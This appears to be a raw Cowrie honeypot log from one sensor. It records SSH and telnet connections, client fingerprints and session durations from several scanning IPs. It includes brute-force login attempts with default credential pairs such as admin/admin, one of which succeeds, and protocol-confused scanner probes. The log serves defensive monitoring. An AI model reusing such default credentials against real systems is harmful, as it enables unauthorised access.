{"eventid":"cowrie.session.closed","duration":32.085991621017456,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:14:40.420441Z","src_ip":"104.245.105.2","session":"626b18656133","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21579670906067,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:15:02.931604Z","src_ip":"104.245.105.2","session":"0878c4ceb1ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":39492,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b013c29f056","protocol":"ssh","message":"New connection: 61.222.211.114:39492 (10.17.0.5:22) [session: 9b013c29f056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:15:21.442039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:15:21.446968Z","src_ip":"61.222.211.114","session":"9b013c29f056","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:15:21.659628Z","src_ip":"61.222.211.114","session":"9b013c29f056","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.163.200","src_port":59116,"dst_ip":"159.203.135.109","dst_port":22,"session":"68677d5a090c","protocol":"ssh","message":"New connection: 34.34.163.200:59116 (159.203.135.109:22) [session: 68677d5a090c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:15:22.407685Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"user","message":"login attempt [admin/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:15:22.536539Z","src_ip":"61.222.211.114","session":"9b013c29f056","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Fingerprintx-SSH2","message":"Remote SSH version: SSH-2.0-Fingerprintx-SSH2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:15:22.541288Z","src_ip":"34.34.163.200","session":"68677d5a090c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.34.163.200","src_port":59122,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb0c56a38847","protocol":"ssh","message":"New connection: 34.34.163.200:59122 (159.203.135.109:22) [session: cb0c56a38847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:15:22.750036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:15:22.761128Z","src_ip":"34.34.163.200","session":"cb0c56a38847","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dde267e50f82fcc16a7e1e7b59b8af71","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256@libssh.org,curve25519-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256@libssh.org","curve25519-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: dde267e50f82fcc16a7e1e7b59b8af71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:15:22.833688Z","src_ip":"34.34.163.200","session":"cb0c56a38847","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:15:24.007822Z","src_ip":"61.222.211.114","session":"9b013c29f056","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:15:24.037947Z","src_ip":"34.34.163.200","session":"cb0c56a38847","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:15:24.122126Z","src_ip":"34.34.163.200","session":"68677d5a090c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:15:24.129045Z","src_ip":"34.34.163.200","session":"cb0c56a38847","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:15:25.316723Z","src_ip":"34.34.163.200","session":"68677d5a090c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00166463851929,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:15:25.452974Z","src_ip":"187.181.177.252","session":"23940fb7e08f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.181.177.252","src_port":59142,"dst_ip":"159.203.135.109","dst_port":23,"session":"815d93025ccf","protocol":"telnet","message":"New connection: 187.181.177.252:59142 (159.203.135.109:23) [session: 815d93025ccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:15:26.784495Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":44812,"dst_ip":"10.17.0.5","dst_port":22,"session":"6672e656cbe0","protocol":"ssh","message":"New connection: 61.222.211.114:44812 (10.17.0.5:22) [session: 6672e656cbe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:20.328356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:20.332933Z","src_ip":"61.222.211.114","session":"6672e656cbe0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:20.536718Z","src_ip":"61.222.211.114","session":"6672e656cbe0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"password","message":"login attempt [vncuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:21.389587Z","src_ip":"61.222.211.114","session":"6672e656cbe0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":23636,"dst_ip":"10.17.0.5","dst_port":23,"session":"003a19f4916f","protocol":"telnet","message":"New connection: 34.76.15.165:23636 (10.17.0.5:23) [session: 003a19f4916f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:22.236448Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":23642,"dst_ip":"10.17.0.5","dst_port":23,"session":"79c49c9ab707","protocol":"telnet","message":"New connection: 34.76.15.165:23642 (10.17.0.5:23) [session: 79c49c9ab707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:22.390511Z"}
{"eventid":"cowrie.session.closed","duration":0.00524449348449707,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:22.395648Z","src_ip":"34.76.15.165","session":"79c49c9ab707","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":23658,"dst_ip":"10.17.0.5","dst_port":23,"session":"cba56581d9fe","protocol":"telnet","message":"New connection: 34.76.15.165:23658 (10.17.0.5:23) [session: cba56581d9fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:22.544795Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:22.600656Z","src_ip":"61.222.211.114","session":"6672e656cbe0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.4062983989715576,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:25.642657Z","src_ip":"34.76.15.165","session":"003a19f4916f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":20334,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f0dbeb567bc","protocol":"telnet","message":"New connection: 34.76.15.165:20334 (10.17.0.5:23) [session: 2f0dbeb567bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:41.701412Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:41.706787Z","src_ip":"34.76.15.165","session":"2f0dbeb567bc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:41.710950Z","src_ip":"34.76.15.165","session":"2f0dbeb567bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.08814430236816406,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:41.789437Z","src_ip":"34.76.15.165","session":"2f0dbeb567bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":20348,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b9f74241c09","protocol":"telnet","message":"New connection: 34.76.15.165:20348 (10.17.0.5:23) [session: 0b9f74241c09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:41.863690Z"}
{"eventid":"cowrie.session.closed","duration":0.005496025085449219,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:41.868994Z","src_ip":"34.76.15.165","session":"0b9f74241c09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":20352,"dst_ip":"10.17.0.5","dst_port":23,"session":"448c0225d03c","protocol":"telnet","message":"New connection: 34.76.15.165:20352 (10.17.0.5:23) [session: 448c0225d03c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:42.018369Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":20364,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cd972f376f1","protocol":"telnet","message":"New connection: 34.76.15.165:20364 (10.17.0.5:23) [session: 5cd972f376f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:42.171870Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":20376,"dst_ip":"10.17.0.5","dst_port":23,"session":"e632e1799479","protocol":"telnet","message":"New connection: 34.76.15.165:20376 (10.17.0.5:23) [session: e632e1799479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:42.326653Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":20382,"dst_ip":"10.17.0.5","dst_port":23,"session":"46ecfc753c77","protocol":"telnet","message":"New connection: 34.76.15.165:20382 (10.17.0.5:23) [session: 46ecfc753c77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:42.478950Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":20390,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c187f3e35ab","protocol":"telnet","message":"New connection: 34.76.15.165:20390 (10.17.0.5:23) [session: 2c187f3e35ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:42.632513Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":20396,"dst_ip":"10.17.0.5","dst_port":23,"session":"a27875d32fd8","protocol":"telnet","message":"New connection: 34.76.15.165:20396 (10.17.0.5:23) [session: a27875d32fd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:42.786269Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":20406,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3041fd80197","protocol":"telnet","message":"New connection: 34.76.15.165:20406 (10.17.0.5:23) [session: e3041fd80197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:42.940633Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":20412,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1d57f7fc47f","protocol":"telnet","message":"New connection: 34.76.15.165:20412 (10.17.0.5:23) [session: a1d57f7fc47f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:43.094681Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":20420,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb6a307f46cc","protocol":"telnet","message":"New connection: 34.76.15.165:20420 (10.17.0.5:23) [session: bb6a307f46cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:43.324274Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":20436,"dst_ip":"10.17.0.5","dst_port":23,"session":"4daf5ef3d721","protocol":"telnet","message":"New connection: 34.76.15.165:20436 (10.17.0.5:23) [session: 4daf5ef3d721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:43.478139Z"}
{"eventid":"cowrie.session.closed","duration":0.004196882247924805,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:43.482224Z","src_ip":"34.76.15.165","session":"4daf5ef3d721","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":20448,"dst_ip":"10.17.0.5","dst_port":23,"session":"47450712aeb5","protocol":"telnet","message":"New connection: 34.76.15.165:20448 (10.17.0.5:23) [session: 47450712aeb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:43.631825Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":20464,"dst_ip":"10.17.0.5","dst_port":23,"session":"77f148148722","protocol":"telnet","message":"New connection: 34.76.15.165:20464 (10.17.0.5:23) [session: 77f148148722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:43.788372Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":20474,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbb5d9a9e623","protocol":"telnet","message":"New connection: 34.76.15.165:20474 (10.17.0.5:23) [session: fbb5d9a9e623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:43.941347Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":20486,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1eaf5d37fea","protocol":"telnet","message":"New connection: 34.76.15.165:20486 (10.17.0.5:23) [session: c1eaf5d37fea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:44.094350Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":20488,"dst_ip":"10.17.0.5","dst_port":23,"session":"72ef9c28f93d","protocol":"telnet","message":"New connection: 34.76.15.165:20488 (10.17.0.5:23) [session: 72ef9c28f93d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:44.249491Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":20490,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8c16cd4ed89","protocol":"telnet","message":"New connection: 34.76.15.165:20490 (10.17.0.5:23) [session: e8c16cd4ed89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:44.404872Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":20494,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2f6fafa4bf9","protocol":"telnet","message":"New connection: 34.76.15.165:20494 (10.17.0.5:23) [session: d2f6fafa4bf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:44.558243Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":20508,"dst_ip":"10.17.0.5","dst_port":23,"session":"d55c74370bdf","protocol":"telnet","message":"New connection: 34.76.15.165:20508 (10.17.0.5:23) [session: d55c74370bdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:44.713944Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":10052,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e95c14552dc","protocol":"telnet","message":"New connection: 34.76.15.165:10052 (10.17.0.5:23) [session: 1e95c14552dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:44.871360Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:44.877098Z","src_ip":"34.76.15.165","session":"1e95c14552dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":10062,"dst_ip":"10.17.0.5","dst_port":23,"session":"4734ac95dccc","protocol":"telnet","message":"New connection: 34.76.15.165:10062 (10.17.0.5:23) [session: 4734ac95dccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:45.032174Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":10066,"dst_ip":"10.17.0.5","dst_port":23,"session":"f410aa668a19","protocol":"telnet","message":"New connection: 34.76.15.165:10066 (10.17.0.5:23) [session: f410aa668a19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:45.186782Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":10072,"dst_ip":"10.17.0.5","dst_port":23,"session":"6db9a519a739","protocol":"telnet","message":"New connection: 34.76.15.165:10072 (10.17.0.5:23) [session: 6db9a519a739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:45.344586Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":10080,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4de5c05bb18","protocol":"telnet","message":"New connection: 34.76.15.165:10080 (10.17.0.5:23) [session: f4de5c05bb18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:45.499944Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.76.15.165","src_port":10094,"dst_ip":"10.17.0.5","dst_port":23,"session":"94b44b24cee8","protocol":"telnet","message":"New connection: 34.76.15.165:10094 (10.17.0.5:23) [session: 94b44b24cee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:16:45.653965Z"}
